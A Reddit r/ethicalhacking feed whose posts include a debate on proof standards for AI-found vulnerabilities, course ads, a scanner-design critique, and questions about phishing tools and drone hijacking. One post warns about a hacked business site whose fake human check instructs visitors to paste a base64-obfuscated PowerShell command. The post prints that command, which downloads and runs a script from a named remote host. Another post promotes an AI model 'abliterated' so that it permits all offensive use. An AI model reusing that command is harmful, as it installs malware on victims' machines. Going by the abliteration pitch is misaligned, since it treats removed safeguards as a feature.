r/ethicalhacking

What should count as proof when an AI agent says it found a vulnerability?

I’ve been experimenting with supervised AI-assisted pentesting in authorised lab environments, and one question keeps coming up:

At what point should we actually accept an AI-generated finding as valid?

LLMs are very good at producing something that sounds like a vulnerability report.

That is obviously not the same thing as proving the vulnerability exists.

For a human pentester, I’d normally want enough evidence that somebody else can independently reproduce the issue.

For an agent, I think the bar should be at least as high.

For example, depending on the finding:

- exact request and response

- reproduction steps

- affected endpoint/parameter

- observed versus expected behaviour

- evidence showing impact

- clean verification request

- screenshots where useful

- relevant tool output

- enough context for another tester to reproduce it

I’m increasingly sceptical of AI pentesting benchmarks that simply count “vulnerabilities found”.

If the model says:

«This endpoint appears vulnerable to IDOR»

that should be worth zero until it actually demonstrates unauthorised access to another object and preserves the evidence.

Same for injection.

Generating a payload isn’t finding SQL injection.

Getting an error isn’t necessarily finding SQL injection.

You need a reproducible behavioural difference that supports the hypothesis.

I also think the agent shouldn’t be the sole judge of whether its own work constitutes proof.

Ideally there is some deterministic or independently reviewable layer between:

hypothesis → test → evidence → validated finding

The other interesting question is false negatives.

An agent that reports 15 genuine vulnerabilities and misses five is arguably much more useful than one that reports 20 but five of them collapse under manual verification.

For people who actually pentest:

What minimum evidence would you require before accepting a vulnerability found by an AI agent?

Would a raw request/response pair be enough?

Would you require an independent verification step?

And should the standard be different for something like reflected XSS versus an access-control or business-logic flaw?

reddit.com
u/WarmAd6505 — 1 day ago

Day 02 of the Red Team Series is live. 🎯

Day 01 gave you the mindset. Day 02 puts it to work.

Before any exploitation, real operators map the target — passive recon, OSINT, domains, subdomains, tech fingerprinting, and building a full attack-surface map. Know the target before you touch the target.

📕 Red Team Operator L1 — where this actually gets hands-on 🔗 https://resources.codelivly.com/product/red-team-operator-l1/

📗 Red Team Operator L2 — enterprise AD, cloud identity, Purple Team ops 🔗 https://resources.codelivly.com/product/red-team-operator-l2/

🔥 Complete L1+L2 Bundle (+2 bonus books) 🔗 https://resources.codelivly.com/product/red-team-operator-the-complete-l1-l2-bundle/

A good red teamer doesn't rush to attack. They make the target easier to understand first.

u/Potential-Couple-745 — 3 days ago

Vicious Hack Example

Today I opened this website to book a skip bin.

DISCLAIMNER: AT THE TIME OF WRITING, THIS WEBSITE IS HACKED SO ONLY OPEN IF YOU ARE EXPERIENCED IT PERSON AND OPEN IN INCOGNITO MODE

https://www.adelaideskipbinhire.com.au

The website seems normal as it showed following message, pretty normal; asking to prove human. Like almost everyone does I checked "Verify you are human" and it moved to the next screen where I said, ah it's hacked. As it was simply running a script using PowerShell to download something and install on computer.

The snippet of the code that is added in step 3 is following:

powershell -ep bypass -c "$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9uaWFvZW5kLmNvbS9oZXgvVHJhZmZpYw=='));iex(New-Object Net.WebClient).DownloadString($u)"

This code actually downloads the fishy stuff from https://niaoend.com/hex/Traffic (seems Russian website) and boom you are doomed

Regardless, one does this or not, the website opens normally after brief delay. So if a user follow these steps then will get impression that website opened after following these steps.

Having 20+ years of IT experience, this is one of the filthy stuff I have seen. I am sure the owners of the skip bin business do not know that their website has been hacked for this stuff. I will notify them but posting this message here to know everyone about it that BE AWARE!!!

u/HourOk62 — 4 days ago
▲ 27 r/ethicalhacking+3 crossposts

Want to start learning cybersecurity but don’t know where to begin?

Want to start learning cybersecurity but don’t know where to begin?

If you’re completely new to hacking/cybersecurity, don’t feel like you need to jump straight into complicated tools or CTFs.

Start with the basics:

  • Networking
  • Linux
  • Security fundamentals
  • Recon & scanning
  • Web security
  • Basic offensive security
  • Hands-on practice

I came across Codelivly, which lets beginners start learning cybersecurity for free and follow structured learning paths instead of randomly jumping between YouTube videos and tutorials.

You can start here: Codelivly

No experience needed to start. There are beginner-friendly tutorials, tasks, and hands-on rooms to help you actually practice what you're learning.

If you're starting your cybersecurity journey from zero, give it a try and see if it helps.

What was the first thing you learned when you started cybersecurity?

u/Potential-Couple-745 — 6 days ago

Hi i need a little help and explanation pls...

It's purely for ethical purposes...

i just like using GitHub tools...

I recently learnt Abt the Camphish tool...it's quite popular...

I wanted to learn about it.

I did the installation and all and used cloudflared...

But it's not generating the link...

Idk y

I'm new at this but I recently learnt Abt zphisher.

Pls help...

u/DebateEmbarrassed374 — 7 days ago
▲ 2 r/ethicalhacking+1 crossposts

Cyberstrike and Abliterated Model Large

Use abliterated-model-large with Cyberstrike to use the best publicly available offensive security model with the #1 open-source offensive security harness to adversarially test your systems. Frontier benchmarks in Cybergym, AgentHarm, and AgentDojo. The model was abliterated and fine-tuned not just to allow all offensive testing but was fine-tuned for it.

docs.abliteration.ai
u/Effective_Attempt_72 — 5 days ago

Nullsec Larpers💔

Nullsec itself is a good company/entity itself, but most of the community around is just people larping how to actual ethically hack and it makes me mad knowing that all these larpers want is attention and not actually helping anyone/anything in the end💔(This post was just made because I'm mad and I want other peoples opinions on this topic).

reddit.com
u/bigjuicyorange723616 — 6 days ago
▲ 18 r/ethicalhacking+5 crossposts

Can you tear apart my authorization model for self serve DAST?

I made a deeper security scanner self serve and I’m not totally convinced the permission model is enough.

Right now:

  • domain gets verified through DNS or a file on the domain
  • repo gets verified separately through our GitHub App
  • user signs the exact target and checks
  • ownership gets checked again before it runs
  • DAST is bounded and rate limited
  • repo analysis runs in isolation
  • authenticated testing only uses two throwaway users
  • credentials are deleted after

We built this because our old free scanner only checked the logged-out surface. A clean result could make someone think the app was safe while completely missing broken access control.

So what are we missing here?

Verification expiry? CNAMEs? Subdomain takeover? DNS rebinding? A malicious target attacking the runner? Compromised GitHub installs?

Also, is there any test you just wouldn’t allow without a human approving it first?

https://www.task-bounty.com/secure-my-app#deep-review

Feel free to be harsh. Better now than after someone actually abuses it.

u/elidanipipe — 9 days ago

Drone defense

Hi all, i got a drone inside my property and i dont want to be spied me or my family members, is there a way to actually counter it? I have a few esp 32, some raspberry pi and it is possible to assemble something like a radar that hijacks the drone and crashes it? Sorry for my bad english, and thanks for the help beforehand.

reddit.com
u/Hot-Judgment-718 — 10 days ago